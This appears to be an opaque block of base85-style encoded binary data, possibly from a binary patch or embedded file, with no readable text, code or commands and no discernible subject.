zwB@}Xn*NO21FG^ULT2qp2y2p}ocYIV`Hiw3?!4ol?@tU?rnFn)ZI^$+x+0EMlYv$3 zBQdao68t`C)_K%Gs5MHtj-khqPw|!0dD1U;oR%8QP2V!3`pIJkwoH*#VNysMTW;{) z;d^1{NvW@Ba0)6}PB#5XiK9SfAgU0pdxQ0~>!0-msoFfr;Y-{xAuhD|<%kRtmGy_b z03JF1zcH(`W)k#{1wNki`0j8SC5Q}^y)aA`XQM$9OWHi?k;5z5Fb1mse;^?SUa@GS zxv4^o3|=`+f1rm=dn`OUrw)$3;@sh6K6I6$UaHW^A<0PlYl+_A#Fk!ET-g-b@}UnQ z;d%s&KbIt$T+L3ah&8W@`m2{vF#N{;+BX)*@3cK@HG8CvhVx85Z>NGH^5Vx5JB0T$ zo||hdh}R)A)`oZ1MyDeLeI~jp@Y-OR=fUiq{+djNL7nfMqvGaezYwF8WeH2aFi-|~ zG95msVe#Zs zf;LA_TEt)s$;H{8%mNns8rum`!r-}{Z?{1~QV2?$XnWY3uK*D;Jeu6awP&n&C4qaZ z3$e!wbo-09^4!tGC;CYbAPi{{r%z?1Xmr%hnrg1J=amg|z7A1H8)r6_&EZTt9CoKi zSXhMYR*XO#2|gQMGTPrXpqszwk+3QM^H02qRO;G&d+iCTtB=x}j#n$@V$G_JnI00P zQ)%AoQvfU^9-QtW4YUi5+HYhg`z828$D%jS2c2tUA!P1+!}KacC_&TKI`8s=vF>uj zY+@%*-Q{S2ZM7HAQSBVrxZ)vZSns@WNO?NMy3wIT)qRItY?iS)vN<}^SY)?=&6q|N zcD;hg{<4*T}Y9^Z;&D4zcK(5Q#1H6fm-cJH|aNQxw=$*uU@o=1(=-(8BmtfxxOgU-1`?> zgI3~{wQ9S+xK5J6Xm6Y7s|(t_+djl8zD@Yej&!P0E>xh_DZoux+qEeXerzj8;&JcV zM|>{LRF@f1<@el!jl}VPkBE!TQGXih%An}{@ca7Xa4+sA6I!w*|8^#Q=X$Q4B*vX} zlE2m+UnngWj{(NJt6{5Z`~hm7J`w>?F(&wT;Z8PpY3>HfoXwkCCSAIU;s!OSp)^~& zhk<3F5Al;AK%FreLrLAd4IeQ+0r$qX@>@oI;^1O+QnHe^azH=XPW6)gV&dXSRJ!g* z19127(uWWXt6nnfPi@szkD#RF7`riG?H545k*mvc(BW0Hr;L)N$*pCpd?6=>Kz&4t zf`+1Bb;)1xI4GhOkE;SL_%m`@>P*kik&z0OXdT6^lSBV9P(WNHjU;{NGquCjP1m@F zgu5(Tf8o&vQ9(M24WVa%$06S1<{mwVWA100cm?H(A)cp10~X!d=PI#91O`=iZNCKJNv-oR`lB*?;6c0 zMbn!u_OCI(-J;zeQt;ZZfyFxPUtHOVv6&Lxo}LYoKjt4kG+C45aN9GhBlqg@wpbCH zkkG8wVDOWl7DXe@{<2KuwE8>Gs!YDIRMYcAZn8=Fp2)75)>M<*_STm4tG(|@!z)Iz zu0`H=UKAYrOB6B|nlJPy2%MZuwz@v%COBm^zh7t&ECabeh@&}#`$2=~oSXwiJX3h) zD~7z>*$1=B_NK(itaraxI4osQ^wnv%oV#(4(22*Bnd5Hwaq$eEy^D)znZgeVCcwwn z`T{v34bY5qPpv-T^1ZX&6@JQ7M}j^>u_lX9U7ML+97Lz+B}s&6JA91Ft*9gP*g;au4DZK%W&>ZD%nPt|{g3B{;X5|!mcL4o0E8%zsyiDjzH#j{apscU{`fw1VRD}fE; z$7tB;W3jv?6wdZGxrJ%DQ_r)vOV~Jf@%h#DE&-eMni76uUJ>NiVI{@!mYb0vlqz zj5^#pE=*)4+*VWXK@@(%0#P)&xigj%=HKL^cew^R5Q&O~EM(O~cmHSs7z66{X!X}R zNUX)(*pEl5)x@S-8VG@+VLb|xb4LX9@;4$gq~F7`=T13Sq* zt5z$HXfLMV*jK2>*IQKSryn)Ty>qRfr)%@rr}2n~DI5xPndxik%8jkɯ#MQkQP zO+dE@*MYw#J1Guh8*z~;=VA+&=|-uT$U1B2UESo8aYKTnFA4G2#)wMKc?1vP7k_@LWu5!))wDHFi?h7q!W? zIwI8eijUp(d%fPl@H|CtCr;mgRh08jucW4bTg<5iig);&C?W4I9Xxkyhd4X*4{iir zgq_bgX5eTveC@P@V#bR#UH9Qpsrf+lzc_c0Z(GDbt}rO;O>*MVbGw?4U&Qo+TXs?+)@2CJ6!ZxZ( z#P_pm-_#ycf~b#|SZ}vP%+ks6jmAe8TOt;xOL{dak!D>>JXK?WwVXIw?%P7Xlu-tJz2q5@X!yCb!L93KGz=T{V>#ZbQCR6$2U;joCtp@dzz)9oJBM zjIcY9#EkOdm@UE83@PtmL4-!f&0o>xQ)VcV(FsdxUq^fxMI5C}YgZO20;eH;_wJNJ z}s%(x%Uwy8`+#*dA(nJ;(0EvFfKq zzskylVqD>{XGg!_u!Nftmi0!dW$kRI(h%C5Mi+TPJY!FoY2?Y_u-+n}Ir0BkE<-`N zzXCtJOfGs%|CXt(*@+n5y*Zk^V9exXcOpBUGzqlMBOy-|G#+Vq9~!$(KX_VKB)sAu zi&IOspN3yV2%~2-a8+OAbz*W?X#d7`_F>QdnC7Bz$YIQF(p-Y^U8&_5yCZ5%qG)&& z2MrKuQbo5LfLVL5psv#Zz)D0m=1_#Ex7yYVXX^RF?$YeQ+O#FixKnm%^S8 zIV@0n(}k-U%EGdl!BbOS~XNb?Fz1V?1+DdT1egrYHkR?#*Nd%P!w%?7<%-3}ZM5=gV zyxKB-2%0a7vcu6TIw#>Q`varY=Ng~tUW|&;`3N~eFsjka7Ka9_KFU1w`S8#+!u6-3$P8G0sROpj5OTjov=>j0|{yY3TJbVDfjAy945L(<K z6DJ@!IIGObr?d9k;x#NuMLGL}-Rv)2+Wq)X7QE@RQkA_5I-;oko6olSB8M=9FXp6& ziFDsnA%5&)R6+6BzcQ^ zx5tNVbQ1KnCR7-2vLsw~ObZE;QTV6y)8blYiS=}0l~=}`#C~H{EOd2!fx@&CC<*-b ze8cHv-RM;@ggpm7pEsSqq{%zQ@9vbplRW6_00^vf?6Lk^L1LQnO(*K(Y;E2*6e{qW zBe~80f%Y2$`&a#2%J3NCU_mk*>`wmUDWdw*?Xmqtn#smmr*R)=Q#-2mxZ%#TUd^^c zkI7!=Yo{86rwSS!PpnZ=l)t!|QLV|8t~YraK@b^i%DJeU=MfMwqq3mG=lME!2PRO` zt$t6IO}Wk!`pUhr(IYu;=hNT}*E+Vy?$<1x>DO(Q>E|803v#k`qJ|`c-?rmZhe|k{ z6#k#+F>PB3I=^6+cn};R0HK+m>amL__ZNGSRp#~k4$CGs;5;IB`@+>bSm1k= zqrKbP^NF-uh}K5>V2UOzg}@$q6o>=PC>SO7GWLOUX0eGC)NK#f)hMFp(U`b+dFg2_ zqcG!sMG$$+9oBj#v7N{n%8